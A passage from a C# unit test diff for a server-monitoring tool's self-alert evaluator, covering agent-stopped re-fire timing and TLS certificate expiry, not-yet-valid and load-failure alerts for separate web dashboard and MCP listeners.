         await e.ApplyAgentNotRunningAsync(ServerId, Name, agentRunningFresh: false, agentEverSeenRunning: true, Ct);
         Assert.Equal(2, h.Deliverer.Outcomes.Count);
@@ -779,10 +830,11 @@ public async Task AgentNotRunning_NoFreshReading_DoesNotFireOrClearStandingAlert
         await e.ApplyAgentNotRunningAsync(ServerId, Name, agentRunningFresh: null, agentEverSeenRunning: true, Ct);
         Assert.Empty(h.History.Records);
 
-        /* The active flag persisted through the null gap: a fresh stopped reading after the cooldown re-fires
-           (it would have been cleared to a first-fire if null had wrongly reset the state). */
+        /* The standing state persisted through the null gap: a fresh stopped reading ten minutes on is the same
+           occurrence, so it does not alert again (#5493). It would have been a second first-fire if null had
+           wrongly reset the state. */
         await e.ApplyAgentNotRunningAsync(ServerId, Name, agentRunningFresh: false, agentEverSeenRunning: true, Ct);
-        Assert.Equal(2, h.Deliverer.Outcomes.Count);
+        Assert.Single(h.Deliverer.Outcomes);
     }
 
     [Fact]
@@ -1250,20 +1302,20 @@ public async Task CustomRuleHealth_Disabled_DoesNothing()
     }
 
     [Fact]
-    public async Task CustomRuleHealth_StandingCondition_ReFiresOnlyAfterCooldown()
+    public async Task CustomRuleHealth_StandingCondition_ReFiresOnlyOnTheConnectionRefire()
     {
-        var h = new Harness();
+        var h = new Harness { ConnectionRefireMinutes = 5 };
         var e = h.Build();
 
         await e.ApplyCustomRuleHealthAsync(HealthReport(1, 0), Ct);
         Assert.Single(h.Deliverer.Outcomes);
 
-        // Inside the 5-minute cooldown: no re-fire (fire once on entry, not every sweep).
+        // One minute on, inside connection_refire_minutes (5): no re-fire (fire once on entry, not every sweep).
         h.Now = h.Now.AddMinutes(1);
         await e.ApplyCustomRuleHealthAsync(HealthReport(1, 0), Ct);
         Assert.Single(h.Deliverer.Outcomes);
 
-        // Cooldown elapsed, still unhealthy: re-fires the standing reminder.
+        // connection_refire_minutes (5) has passed, still unhealthy: re-fires the standing reminder.
         h.Now = h.Now.AddMinutes(5);
         await e.ApplyCustomRuleHealthAsync(HealthReport(2, 0), Ct);
         Assert.Equal(2, h.Deliverer.Outcomes.Count);
@@ -2048,6 +2100,589 @@ public async Task WebTlsCert_RefusedNotYetValid_ButNowAlsoExpired_ReadsAsExpired
         Assert.DoesNotContain("NOT YET VALID", fired.ShortMessage);
     }
 
+    /// <summary>
+    /// #5288: the web alert's rendered text is shipped surface (an operator's webhook automation, mute rules and
+    /// muscle memory read it), and the evaluator now renders it from a per-listener descriptor shared with the
+    /// MCP twin. Every arm's words are pinned in full, exactly as they stood before the descriptor existed, so
+    /// the generalization cannot move a character of the web text.
+    /// </summary>
+    [Fact]
+    public async Task WebTlsCert_RenderedText_IsExactlyWhatShippedBeforeTheMcpTwin()
+    {
+        var thresholdDays = $"{(int)DarlingSelfAlertEvaluator.WebTlsCertWarnWindow.TotalDays} days";
+
+        /* In the warning window. */
+        var inWindow = new Harness { Now = CertClock };
+        var inWindowEvaluator = inWindow.Build();
+        await inWindowEvaluator.ApplyWebTlsCertificateAsync(Cert(CertClock.AddDays(10)), Ct);
+        var warned = Assert.Single(inWindow.Deliverer.Outcomes);
+        Assert.Equal("expires 2026-07-11 12:00:00Z (in 10 days)", warned.CurrentValue);
+        Assert.Equal(thresholdDays, warned.ThresholdValue);
+        Assert.Equal("web dashboard TLS certificate expires in 10 days (2026-07-11 12:00:00Z)", warned.ShortMessage);
+        Assert.Equal(
+            "The web dashboard's TLS certificate expires on 2026-07-11 12:00:00Z, in 10 days. When it lapses the LAN "
+            + "dashboard stops serving (it fails closed to loopback-only with the token still required, never plain HTTP), so renew it and restart the "
+            + "service before then. Certificate: subject CN=Darling Web, thumbprint ABC123DEF456.",
+            warned.DetailText);
+
+        /* Expired. */
+        var expired = new Harness { Now = CertClock };
+        var expiredEvaluator = expired.Build();
+        await expiredEvaluator.ApplyWebTlsCertificateAsync(Cert(CertClock.AddDays(-2)), Ct);
+        var lapsed = Assert.Single(expired.Deliverer.Outcomes);
+        Assert.Equal("expired 2026-06-29 12:00:00Z", lapsed.CurrentValue);
+        Assert.Equal(thresholdDays, lapsed.ThresholdValue);
+        Assert.Equal("web dashboard TLS certificate EXPIRED 2026-06-29 12:00:00Z (2 days ago)", lapsed.ShortMessage);
+        Assert.Equal(
+            "The web dashboard's TLS certificate expired on 2026-06-29 12:00:00Z. An expired certificate fails every TLS "
+            + "handshake, so the LAN dashboard is unreachable now and binds loopback-only on the next service restart, with the token still required. "
+            + "Install a renewed certificate and restart the service. "
+            + "Certificate: subject CN=Darling Web, thumbprint ABC123DEF456.",
+            lapsed.DetailText);
+
+        /* Refused as not yet valid, both tenses of the clock line. */
+        const string refusedCert = "Certificate: subject CN=Darling Web (rotation), thumbprint FUTURE0123.";
+        const string refusedTail =
+            " Correct the system clock or install the currently-valid certificate, then restart the service so the "
+            + "host loads it again. " + refusedCert;
+        var ahead = new Harness { Now = CertClock };
+        await ahead.Build().ApplyWebTlsCertificateAsync(NotYetValidCert(CertClock.AddDays(3)), Ct);
+        var early = Assert.Single(ahead.Deliverer.Outcomes);
+        Assert.Equal("not valid until 2026-07-04 12:00:00Z; not being served", early.CurrentValue);
+        Assert.Equal("valid at service start", early.ThresholdValue);
+        Assert.Equal(
+            "web dashboard TLS certificate NOT YET VALID (valid from 2026-07-04 12:00:00Z) — LAN dashboard is loopback-only",
+            early.ShortMessage);
+        Assert.Equal(
+            "The web dashboard's configured TLS certificate was not yet valid when the service started (not valid until "
+            + "2026-07-04 12:00:00Z), so the host refused to serve it and the LAN dashboard is bound LOOPBACK-ONLY — "
+            + "unreachable from the network, and it will not fall back to plain HTTP. The token is still required on the loopback listener. The window opens 2026-07-04 12:00:00Z: "
+            + "if that is in the past by any wall clock you trust, this host's clock is behind; if it is genuinely ahead, "
+            + "the certificate installed is one issued for a future rotation." + refusedTail,
+            early.DetailText);
+
+        var opened = new Harness { Now = CertClock.AddDays(5) };
+        await opened.Build().ApplyWebTlsCertificateAsync(NotYetValidCert(CertClock.AddDays(3)), Ct);
+        var late = Assert.Single(opened.Deliverer.Outcomes);
+        Assert.Equal(
+            "The web dashboard's configured TLS certificate was not yet valid when the service started (not valid until "
+            + "2026-07-04 12:00:00Z), so the host refused to serve it and the LAN dashboard is bound LOOPBACK-ONLY — "
+            + "unreachable from the network, and it will not fall back to plain HTTP. The token is still required on the loopback listener. The window opened 2026-07-04 12:00:00Z, "
+            + "after the service started — the host judged the certificate once, at load, and stays loopback-only on "
+            + "that verdict until it is restarted." + refusedTail,
+            late.DetailText);
+
+        /* The two resolution lines. */
+        await inWindowEvaluator.ApplyWebTlsCertificateAsync(Cert(CertClock.AddDays(400)), Ct);
+        var renewed = Assert.Single(inWindow.History.Records);
+        Assert.Equal("Web TLS Certificate Renewed", renewed.MetricName);
+        Assert.Equal(
+            "The web dashboard's TLS certificate is being served and is outside the expiry window", renewed.DetailText);
+
+        await expiredEvaluator.ApplyWebTlsCertificateAsync(NoWebTlsCert, Ct);
+        var gone = Assert.Single(expired.History.Records);
+        Assert.Equal("The web dashboard is no longer serving a TLS certificate to watch", gone.DetailText);
+    }
+
+    /* ---------------- MCP endpoint TLS certificate expiry (#5288) ---------------- */
+
+    private const string McpCertThumbprint = "MCP9876FEDC";
+
+    /// <summary>A certificate the MCP host SERVES: the web helper's shape under the MCP listener's own
+    /// subject and thumbprint, so a failure names the listener it came from.</summary>
+    private static DarlingSelfAlertEvaluator.WebTlsCertReport McpCert(DateTime notAfterUtc) =>
+        Cert(notAfterUtc, "CN=Darling MCP", McpCertThumbprint);
+
+    /// <summary>A certificate the MCP host REFUSED at load because its window had not opened (#3517's arm, for
+    /// the MCP listener): the host's verdict rides the flag, NotAfter is far out.</summary>
+    private static DarlingSelfAlertEvaluator.WebTlsCertReport McpNotYetValidCert(DateTime notBeforeUtc) =>
+        new(
+            Configured: true,
+            NotBeforeUtc: new DateTimeOffset(notBeforeUtc, TimeSpan.Zero),
+            NotAfterUtc: new DateTimeOffset(notBeforeUtc.AddDays(365), TimeSpan.Zero),
+            Subject: "CN=Darling MCP (rotation)",
+            Thumbprint: "MCPFUTURE01",
+            RefusedNotYetValid: true);
+
+    [Fact]
+    public async Task McpTlsCert_InWindow_Warns()
+    {
+        var h = new Harness { Now = CertClock };
+        var e = h.Build();
+
+        await e.ApplyMcpTlsCertificateAsync(McpCert(CertClock.AddDays(10)), Ct);
+
+        var fired = Assert.Single(h.Deliverer.Outcomes);
+        /* The metric string and the key are the webhook-automation identity: pinned as literals, not through the
+           constants, so a rename of either has to be a deliberate edit here. */
+        Assert.Equal("MCP TLS Certificate Expiring", fired.MetricName);
+        Assert.Equal(DarlingSelfAlertEvaluator.McpTlsCertExpiryMetric, fired.MetricName);
+        Assert.Equal("mcptlscert", fired.ServerKey);   // its OWN fleet sentinel, never the web alert's
+        Assert.Equal(DarlingSelfAlertEvaluator.StoreServerLabel, fired.ServerName);
+        Assert.Equal(AlertSeverityLevel.Warning, fired.Severity);
+        Assert.Equal("MCP server TLS certificate expires in 10 days (2026-07-11 12:00:00Z)", fired.ShortMessage);
+        Assert.Contains("The MCP server's TLS certificate expires on", fired.DetailText);
+        Assert.Contains("the LAN MCP endpoint stops serving", fired.DetailText);
+        Assert.Contains(McpCertThumbprint, fired.DetailText);   // ties the alert to the host's own log line
+        Assert.DoesNotContain("dashboard", fired.ShortMessage + fired.DetailText);
+        Assert.Equal(0d, fired.NumericCurrentValue);   // state-only, like every firing of this family
+        Assert.Equal(0d, fired.NumericThresholdValue);
+        Assert.Empty(h.History.Records);
+    }
+
+    [Fact]
+    public async Task McpTlsCert_Expired_FiresCritical()
+    {
+        var h = new Harness { Now = CertClock };
+        var e = h.Build();
+
+        await e.ApplyMcpTlsCertificateAsync(McpCert(CertClock.AddDays(-2)), Ct);
+
+        var fired = Assert.Single(h.Deliverer.Outcomes);
+        Assert.Equal(DarlingSelfAlertEvaluator.McpTlsCertExpiryMetric, fired.MetricName);
+        Assert.Equal("mcptlscert", fired.ServerKey);
+        Assert.Equal(AlertSeverityLevel.Critical, fired.Severity);
+        Assert.Equal("MCP server TLS certificate EXPIRED 2026-06-29 12:00:00Z (2 days ago)", fired.ShortMessage);
+        Assert.Contains("The MCP server's TLS certificate expired on", fired.DetailText);
+        Assert.Contains("the LAN MCP endpoint is unreachable now and binds loopback-only", fired.DetailText);
+        Assert.DoesNotContain("dashboard", fired.ShortMessage + fired.DetailText);
+    }
+
+    [Fact]
+    public async Task McpTlsCert_NotYetValid_FiresCritical()
+    {
+        var h = new Harness { Now = CertClock };
+        var e = h.Build();
+
+        await e.ApplyMcpTlsCertificateAsync(McpNotYetValidCert(CertClock.AddDays(3)), Ct);
+
+        var fired = Assert.Single(h.Deliverer.Outcomes);
+        Assert.Equal(DarlingSelfAlertEvaluator.McpTlsCertExpiryMetric, fired.MetricName);   // the family, not a third metric
+        Assert.Equal("mcptlscert", fired.ServerKey);
+        Assert.Equal(AlertSeverityLevel.Critical, fired.Severity);   // as unreachable as expired
+        Assert.Equal(
+            "MCP server TLS certificate NOT YET VALID (valid from 2026-07-04 12:00:00Z) — LAN MCP endpoint is loopback-only",
+            fired.ShortMessage);
+        Assert.Contains("The MCP server's configured TLS certificate was not yet valid", fired.DetailText);
+        Assert.Contains("the LAN MCP endpoint is bound LOOPBACK-ONLY", fired.DetailText);
+        Assert.Contains("restart the service", fired.DetailText);
+        Assert.Contains("MCPFUTURE01", fired.DetailText);
+        Assert.DoesNotContain("dashboard", fired.ShortMessage + fired.DetailText);
+        Assert.Empty(h.History.Records);
+
+        /* The verdict is the host's, not the clock's: past the date the alert still stands (same as the web arm). */
+        h.Now = CertClock.AddDays(5);
+        await e.ApplyMcpTlsCertificateAsync(McpNotYetValidCert(CertClock.AddDays(3)), Ct);
+        Assert.Empty(h.History.Records);
+    }
+
+    /// <summary>The recovery half: a healthy served certificate (renewed past the window) and a listener that
+    /// stopped serving one each resolve the active MCP alert exactly once, under the MCP resolution title and
+    /// the MCP key, never the web pair.</summary>
+    [Fact]
+    public async Task McpTlsCert_Renewed_ResolvesWithMcpMetric()
+    {
+        var h = new Harness { Now = CertClock };
+        var e = h.Build();
+
+        await e.ApplyMcpTlsCertificateAsync(McpCert(CertClock.AddDays(5)), Ct);   // fires
+        Assert.Single(h.Deliverer.Outcomes);
+
+        await e.ApplyMcpTlsCertificateAsync(McpCert(CertClock.AddDays(400)), Ct);   // re-published, outside the window
+
+        var resolution = Assert.Single(h.History.Records);
+        Assert.Equal("MCP TLS Certificate Renewed", resolution.MetricName);
+        Assert.Equal(DarlingSelfAlertEvaluator.McpTlsCertRenewedMetric, resolution.MetricName);
+        Assert.Equal("mcptlscert", resolution.ServerId);
+        Assert.Equal(
+            "The MCP server's TLS certificate is being served and is outside the expiry window", resolution.DetailText);
+
+        /* One edge, one resolution: a further healthy sweep writes nothing more. */
+        await e.ApplyMcpTlsCertificateAsync(McpCert(CertClock.AddDays(400)), Ct);
+        Assert.Single(h.History.Records);
+
+        /* The other resolve arm: the MCP host stopped serving TLS (its state was Clear()ed). */
+        var stopped = new Harness { Now = CertClock };
+        var e2 = stopped.Build();
+        await e2.ApplyMcpTlsCertificateAsync(McpCert(CertClock.AddDays(5)), Ct);
+        await e2.ApplyMcpTlsCertificateAsync(NoWebTlsCert, Ct);
+        var gone = Assert.Single(stopped.History.Records);
+        Assert.Equal(DarlingSelfAlertEvaluator.McpTlsCertRenewedMetric, gone.MetricName);
+        Assert.Equal("The MCP server is no longer serving a TLS certificate to watch", gone.DetailText);
+    }
+
+    /* ---------------- a certificate that cannot be loaded (#5288) ---------------- */
+
+    private const string LoadFailureReason =
+        "mcp.network.tls.pfxPath 'mcp.pfx' could not be loaded (the password is incorrect)";
+
+    /// <summary>The report the worker builds when the MCP host published a load refusal, through the same state
+    /// class and builder the sweep uses, so the verdict is read exactly as production reads it.</summary>
+    private static DarlingSelfAlertEvaluator.WebTlsCertReport McpLoadRefusalReport(string reason = LoadFailureReason)
+    {
+        var state = new McpTlsCertificateState();
+        state.PublishLoadRefusal(reason);
+        return DarlingWorker.BuildWebTlsCertReport(state.Read());
+    }
+
+    [Fact]
+    public async Task McpTlsCert_LoadRefusal_FiresCritical_NamingTheReasonAndTheRestart()
+    {
+        var h = new Harness { Now = CertClock };
+        var e = h.Build();
+
+        await e.ApplyMcpTlsCertificateAsync(McpLoadRefusalReport(), Ct);
+
+        var fired = Assert.Single(h.Deliverer.Outcomes);
+        Assert.Equal(DarlingSelfAlertEvaluator.McpTlsCertExpiryMetric, fired.MetricName);   // the family, not a new metric
+        Assert.Equal("mcptlscert", fired.ServerKey);
+        Assert.Equal(AlertSeverityLevel.Critical, fired.Severity);
+        Assert.Equal(
+            "MCP server TLS certificate COULD NOT BE LOADED — LAN MCP endpoint is loopback-only", fired.ShortMessage);
+        Assert.Contains(LoadFailureReason, fired.DetailText);
+        Assert.Contains("refused to expose the LAN MCP endpoint: it is bound LOOPBACK-ONLY", fired.DetailText);
+        Assert.Contains("restart the service", fired.DetailText);
+        Assert.DoesNotContain("expired", fired.ShortMessage + fired.DetailText, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("0001", fired.ShortMessage + fired.DetailText);   // blank dates are never rendered
+        Assert.Empty(h.History.Records);
+    }
+
+    /// <summary>A live in-window expiry alert, then the host restarts and the new certificate fails to load: the
+    /// alert is raised Critical at once and is NOT resolved as "Renewed" while the endpoint is down.</summary>
+    [Fact]
+    public async Task McpTlsCert_LoadFailureAfterWindowAlert_FiresCriticalNotRenewed()
+    {
+        var h = new Harness { Now = CertClock };
+        var e = h.Build();
+
+        await e.ApplyMcpTlsCertificateAsync(McpCert(CertClock.AddDays(10)), Ct);   // the 30-day warning is standing
+        var warning = Assert.Single(h.Deliverer.Outcomes);
+        Assert.Equal(AlertSeverityLevel.Warning, warning.Severity);
+
+        h.Now = CertClock.AddMinutes(30);   // well inside the daily re-state interval of the warning
+        await e.ApplyMcpTlsCertificateAsync(McpLoadRefusalReport(), Ct);
+
+        Assert.Equal(2, h.Deliverer.Outcomes.Count);
+        Assert.Equal(AlertSeverityLevel.Critical, h.Deliverer.Outcomes[1].Severity);
+        Assert.Contains("COULD NOT BE LOADED", h.Deliverer.Outcomes[1].ShortMessage);
+        Assert.Empty(h.History.Records);   // no "MCP TLS Certificate Renewed" while the endpoint is down
+
+        /* The refusal re-states on its own daily interval, not on every sweep. */
+        await e.ApplyMcpTlsCertificateAsync(McpLoadRefusalReport(), Ct);
+        Assert.Equal(2, h.Deliverer.Outcomes.Count);
+        h.Now = CertClock.Add(DarlingSelfAlertEvaluator.WebTlsCertRefire).AddMinutes(31);
+        await e.ApplyMcpTlsCertificateAsync(McpLoadRefusalReport(), Ct);
+        Assert.Equal(3, h.Deliverer.Outcomes.Count);
+        Assert.Empty(h.History.Records);
+
+        /* The operator fixes the certificate and restarts: a healthy served certificate resolves it, once. */
+        await e.ApplyMcpTlsCertificateAsync(McpCert(CertClock.AddDays(400)), Ct);
+        var resolution = Assert.Single(h.History.Records);
+        Assert.Equal(DarlingSelfAlertEvaluator.McpTlsCertRenewedMetric, resolution.MetricName);
+    }
+
+    /// <summary>The verdict decides, not the dates: a load refusal that arrives beside far-out dates is still not
+    /// healthy, and a live in-window alert is not resolved by it.</summary>
+    [Fact]
+    public async Task McpTlsCert_LoadRefusal_IsNotHealthy_WhateverDatesItCarries()
+    {
+        var h = new Harness { Now = CertClock };
+        var e = h.Build();
+        var refusedWithFarDates = McpCert(CertClock.AddDays(400)) with { LoadRefusal = LoadFailureReason };
+
+        await e.ApplyMcpTlsCertificateAsync(McpCert(CertClock.AddDays(10)), Ct);   // a standing warning
+        await e.ApplyMcpTlsCertificateAsync(refusedWithFarDates, Ct);
+
+        Assert.Equal(2, h.Deliverer.Outcomes.Count);
+        Assert.Equal(AlertSeverityLevel.Critical, h.Deliverer.Outcomes[1].Severity);
+        Assert.Empty(h.History.Records);   // not resolved as Renewed
+    }
+
+    [Fact]
+    public async Task WebTlsCert_LoadRefusal_FiresCritical_UnderTheWebFamilyKey_AndTheReasonIsOneLine()
+    {
+        var h = new Harness { Now = CertClock };
+        var e = h.Build();
+        var state = new WebTlsCertificateState();
+        state.PublishLoadRefusal("first line\nDatabase: master\r\n" + new string('x', 600));
+
+        await e.ApplyWebTlsCertificateAsync(DarlingWorker.BuildWebTlsCertReport(state.Read()), Ct);
+
+        var fired = Assert.Single(h.Deliverer.Outcomes);
+        Assert.Equal(DarlingSelfAlertEvaluator.WebTlsCertExpiryMetric, fired.MetricName);
+        Assert.Equal("webtlscert", fired.ServerKey);
+        Assert.Equal(AlertSeverityLevel.Critical, fired.Severity);
+        Assert.StartsWith("web dashboard TLS certificate COULD NOT BE LOADED", fired.ShortMessage, StringComparison.Ordinal);
+        Assert.DoesNotContain("\n", fired.DetailText);   // the mute pre-fill parses the detail line by line
+        Assert.DoesNotContain(new string('x', 400), fired.DetailText);   // capped
+        Assert.Contains("first line Database: master", fired.DetailText);
+    }
+
+    [Fact]
+    public void LoadRefusal_CrossesTheSeamUntouched_AndPublishingOrClearingReplacesIt()
+    {
+        var state = new McpTlsCertificateState();
+        state.PublishLoadRefusal("could not be loaded");
+
+        var report = DarlingWorker.BuildWebTlsCertReport(state.Read());
+        Assert.True(report.Configured);
+        Assert.Equal("could not be loaded", report.LoadRefusal);
+        Assert.False(report.RefusedNotYetValid);
+        Assert.Equal(string.Empty, report.Thumbprint);
+
+        /* A later successful publish replaces the verdict; a clear removes it. */
+        state.Publish(
+            new DateTimeOffset(2029, 1, 1, 0, 0, 0, TimeSpan.Zero),
+            new DateTimeOffset(2030, 1, 1, 0, 0, 0, TimeSpan.Zero),
+            "CN=x", "THUMB", refusedNotYetValid: false);
+        Assert.Null(DarlingWorker.BuildWebTlsCertReport(state.Read()).LoadRefusal);
+
+        state.PublishLoadRefusal("again");
+        state.Clear();
+        Assert.False(DarlingWorker.BuildWebTlsCertReport(state.Read()).Configured);
+    }
+
+    /// <summary>
+    /// One certificate served by BOTH listeners raises TWO alerts, each under its own key and metric and each
+    /// naming its own listener, and each resolves on its own: a listener drops to loopback-only on its own, so
+    /// the web alert clearing says nothing about the MCP endpoint, and the daily re-state is per listener. One
+    /// shared key would fail the second fire here (the first listener's active flag and stamp would swallow it).
+    /// </summary>
+    [Fact]
+    public async Task SharedCertificate_TwoListeners_FireAndResolveSeparately()
+    {
+        var h = new Harness { Now = CertClock };
+        var e = h.Build();
+        var shared = Cert(CertClock.AddDays(10), "CN=Darling Shared", "SHARED0123");
+
+        await e.ApplyWebTlsCertificateAsync(shared, Ct);
+        await e.ApplyMcpTlsCertificateAsync(shared, Ct);
+
+        Assert.Equal(2, h.Deliverer.Outcomes.Count);
+        var web = Assert.Single(h.Deliverer.Outcomes, o => o.ServerKey == "webtlscert");
+        var mcp = Assert.Single(h.Deliverer.Outcomes, o => o.ServerKey == "mcptlscert");
+        Assert.Equal(DarlingSelfAlertEvaluator.WebTlsCertExpiryMetric, web.MetricName);
+        Assert.Equal(DarlingSelfAlertEvaluator.McpTlsCertExpiryMetric, mcp.MetricName);
+        Assert.StartsWith("web dashboard TLS certificate expires in 10 days", web.ShortMessage, StringComparison.Ordinal);
+        Assert.StartsWith("MCP server TLS certificate expires in 10 days", mcp.ShortMessage, StringComparison.Ordinal);
+        Assert.Contains("SHARED0123", web.DetailText);   // the same certificate, named by both
+        Assert.Contains("SHARED0123", mcp.DetailText);
+
+        /* The same sweep again: each listener holds on its own stamp, so nothing re-fires. */
+        await e.ApplyWebTlsCertificateAsync(shared, Ct);
+        await e.ApplyMcpTlsCertificateAsync(shared, Ct);
+        Assert.Equal(2, h.Deliverer.Outcomes.Count);
+
+        /* The web dashboard stops serving it (a web restart or disable clears the WEB state only): the web alert
+           resolves under the web pair, and the MCP alert is still standing, so its next sweep is silent. */
+        await e.ApplyWebTlsCertificateAsync(NoWebTlsCert, Ct);
+        var webResolution = Assert.Single(h.History.Records);
+        Assert.Equal(DarlingSelfAlertEvaluator.WebTlsCertRenewedMetric, webResolution.MetricName);
+        Assert.Equal("webtlscert", webResolution.ServerId);
+
+        await e.ApplyMcpTlsCertificateAsync(shared, Ct);
+        Assert.Single(h.History.Records);
+        Assert.Equal(2, h.Deliverer.Outcomes.Count);
+
+        /* A day on, the MCP alert (still standing) re-states on its own stamp; the resolved web alert is silent. */
+        h.Now = CertClock.Add(DarlingSelfAlertEvaluator.WebTlsCertRefire).AddMinutes(1);
+        await e.ApplyWebTlsCertificateAsync(NoWebTlsCert, Ct);
+        await e.ApplyMcpTlsCertificateAsync(shared, Ct);
+        Assert.Equal(3, h.Deliverer.Outcomes.Count);
+        Assert.Equal("mcptlscert", h.Deliverer.Outcomes[^1].ServerKey);
+
+        /* Then the MCP side resolves on its own, under the MCP pair, and the web resolution is not repeated. */
+        await e.ApplyMcpTlsCertificateAsync(NoWebTlsCert, Ct);
+        Assert.Equal(2, h.History.Records.Count);
+        Assert.Equal(DarlingSelfAlertEvaluator.McpTlsCertRenewedMetric, h.History.Records[1].MetricName);
+        Assert.Equal("mcptlscert", h.History.Records[1].ServerId);
+    }
+
+    /// <summary>The MCP alert's words, pinned in full beside the web pin above: the MCP nouns are "MCP server"
+    /// and "LAN MCP endpoint", and nothing else in the text moves.</summary>
+    [Fact]
+    public async Task McpTlsCert_RenderedText_NamesTheMcpServerAndTheLanMcpEndpoint()
+    {
+        var thresholdDays = $"{(int)DarlingSelfAlertEvaluator.WebTlsCertWarnWindow.TotalDays} days";
+        const string certRef = "Certificate: subject CN=Darling MCP, thumbprint " + McpCertThumbprint + ".";
+
+        var inWindow = new Harness { Now = CertClock };
+        await inWindow.Build().ApplyMcpTlsCertificateAsync(McpCert(CertClock.AddDays(10)), Ct);
+        var warned = Assert.Single(inWindow.Deliverer.Outcomes);
+        Assert.Equal("expires 2026-07-11 12:00:00Z (in 10 days)", warned.CurrentValue);
+        Assert.Equal(thresholdDays, warned.ThresholdValue);
+        Assert.Equal(
+            "The MCP server's TLS certificate expires on 2026-07-11 12:00:00Z, in 10 days. When it lapses the LAN MCP "
+            + "endpoint stops serving (it fails closed to loopback-only with the token still required, never plain HTTP), so renew it and restart the "
+            + "service before then. " + certRef,
+            warned.DetailText);
+
+        var expired = new Harness { Now = CertClock };
+        await expired.Build().ApplyMcpTlsCertificateAsync(McpCert(CertClock.AddDays(-2)), Ct);
+        var lapsed = Assert.Single(expired.Deliverer.Outcomes);
+        Assert.Equal("expired 2026-06-29 12:00:00Z", lapsed.CurrentValue);
+        Assert.Equal(
+            "The MCP server's TLS certificate expired on 2026-06-29 12:00:00Z. An expired certificate fails every TLS "
+            + "handshake, so the LAN MCP endpoint is unreachable now and binds loopback-only on the next service restart, with the token still required. "
+            + "Install a renewed certificate and restart the service. " + certRef,
+            lapsed.DetailText);
+
+        var refused = new Harness { Now = CertClock };
+        await refused.Build().ApplyMcpTlsCertificateAsync(McpNotYetValidCert(CertClock.AddDays(3)), Ct);
+        var early = Assert.Single(refused.Deliverer.Outcomes);
+        Assert.Equal("not valid until 2026-07-04 12:00:00Z; not being served", early.CurrentValue);
+        Assert.Equal("valid at service start", early.ThresholdValue);
+        Assert.Equal(
+            "The MCP server's configured TLS certificate was not yet valid when the service started (not valid until "
+            + "2026-07-04 12:00:00Z), so the host refused to serve it and the LAN MCP endpoint is bound LOOPBACK-ONLY — "
+            + "unreachable from the network, and it will not fall back to plain HTTP. The token is still required on the loopback listener. The window opens 2026-07-04 12:00:00Z: "
+            + "if that is in the past by any wall clock you trust, this host's clock is behind; if it is genuinely ahead, "
+            + "the certificate installed is one issued for a future rotation. Correct the system clock or install the "
+            + "currently-valid certificate, then restart the service so the host loads it again. "
+            + "Certificate: subject CN=Darling MCP (rotation), thumbprint MCPFUTURE01.",
+            early.DetailText);
+    }
+
+    /// <summary>Both listeners' Evaluate wrappers isolate a throw (a broken mute rule must never stop the
+    /// collection sweep) and each logs its OWN listener's line, while the Apply bodies underneath let the same
+    /// throw out, so the isolation is the wrapper's. The web line is the one it has always logged.</summary>
+    [Fact]
+    public async Task TlsCertEvaluateWrappers_IsolateAThrow_AndEachLogsItsOwnListenersLine()
+    {
+        var web = new Harness { Now = CertClock, MuteThrows = true };
+        await web.Build().EvaluateWebTlsCertificateAsync(Cert(CertClock.AddDays(10)), Ct);   // must not throw
+        Assert.Empty(web.Deliverer.Outcomes);
+        Assert.Contains(
+            web.Log.Entries,
+            x => x.Level == Microsoft.Extensions.Logging.LogLevel.Error
+                && x.Message == "Web TLS certificate self-alert failed: mute check boom");
+        Assert.DoesNotContain(web.Log.Entries, x => x.Message.StartsWith("MCP TLS", StringComparison.Ordinal));
+
+        var mcp = new Harness { Now = CertClock, MuteThrows = true };
+        await mcp.Build().EvaluateMcpTlsCertificateAsync(McpCert(CertClock.AddDays(10)), Ct);   // must not throw
+        Assert.Empty(mcp.Deliverer.Outcomes);
+        Assert.Contains(
+            mcp.Log.Entries,
+            x => x.Level == Microsoft.Extensions.Logging.LogLevel.Error
+                && x.Message == "MCP TLS certificate self-alert failed: mute check boom");
+        Assert.DoesNotContain(mcp.Log.Entries, x => x.Message.StartsWith("Web TLS", StringComparison.Ordinal));
+
+        await Assert.ThrowsAsync<InvalidOperationException>(() =>
+            new Harness { Now = CertClock, MuteThrows = true }.Build()
+                .ApplyWebTlsCertificateAsync(Cert(CertClock.AddDays(10)), Ct));
+        await Assert.ThrowsAsync<InvalidOperationException>(() =>
+            new Harness { Now = CertClock, MuteThrows = true }.Build()
+                .ApplyMcpTlsCertificateAsync(McpCert(CertClock.AddDays(10)), Ct));
+    }
+
+    /// <summary>Master switch off: the MCP alert is as silent as the web one, even for an expired certificate.</summary>
+    [Fact]
+    public async Task McpTlsCert_MasterSwitchOff_StaysSilentEvenWhenExpired()
+    {
+        var h = new Harness { Now = CertClock };
+        h.Settings.AlertsEnabled = false;
+
+        await h.Build().ApplyMcpTlsCertificateAsync(McpCert(CertClock.AddDays(-5)), Ct);
+
+        Assert.Empty(h.Deliverer.Outcomes);
+        Assert.Empty(h.History.Records);
+    }
+
+    /// <summary>The MCP metric is registered everywhere its web twin is: the family census, the state-only
+    /// classifier (its fire site stores the 0 sentinel), the resolution suffix, and the triage page for both the
+    /// firing and its resolution title. The census tests catch a missed registration only for names they can see;
+    /// this names the new metric directly.</summary>
+    [Fact]
+    public void McpTlsCert_Metrics_AreRegisteredWhereverTheWebTwinIs()
+    {
+        var expiring = DarlingSelfAlertEvaluator.McpTlsCertExpiryMetric;
+        var renewed = DarlingSelfAlertEvaluator.McpTlsCertRenewedMetric;
+
+        Assert.Equal("MCP TLS Certificate Expiring", expiring);
+        Assert.Equal("MCP TLS Certificate Renewed", renewed);
+        Assert.NotEqual(DarlingSelfAlertEvaluator.WebTlsCertExpiryMetric, expiring);
+        Assert.NotEqual(DarlingSelfAlertEvaluator.WebTlsCertRenewedMetric, renewed);
+
+        Assert.Equal(AlertFamily.SelfMonitor, AlertFamily.Of(expiring));
+        Assert.Equal(AlertFamily.Of(DarlingSelfAlertEvaluator.WebTlsCertExpiryMetric), AlertFamily.Of(expiring));
+
+        Assert.True(AlertMetricClassifier.IsStateOnly(expiring));
+        Assert.False(AlertMetricClassifier.IsResolution(expiring));
+        Assert.True(AlertMetricClassifier.IsResolution(renewed));
+
+        var firing = DarlingTriageEndpoint.SectionsFor(expiring);
+        Assert.NotSame(DarlingTriageEndpoint.DefaultSections, firing);
+        Assert.Contains(firing, s => s.Read == "get_alert_history");
+        Assert.All(firing, s => Assert.True(s.FleetLevel));
+        Assert.Same(firing, DarlingTriageEndpoint.SectionsFor(renewed));
+    }
+
+    /// <summary>The MCP seam is its own singleton type, not an alias of the web one: publishing to one never
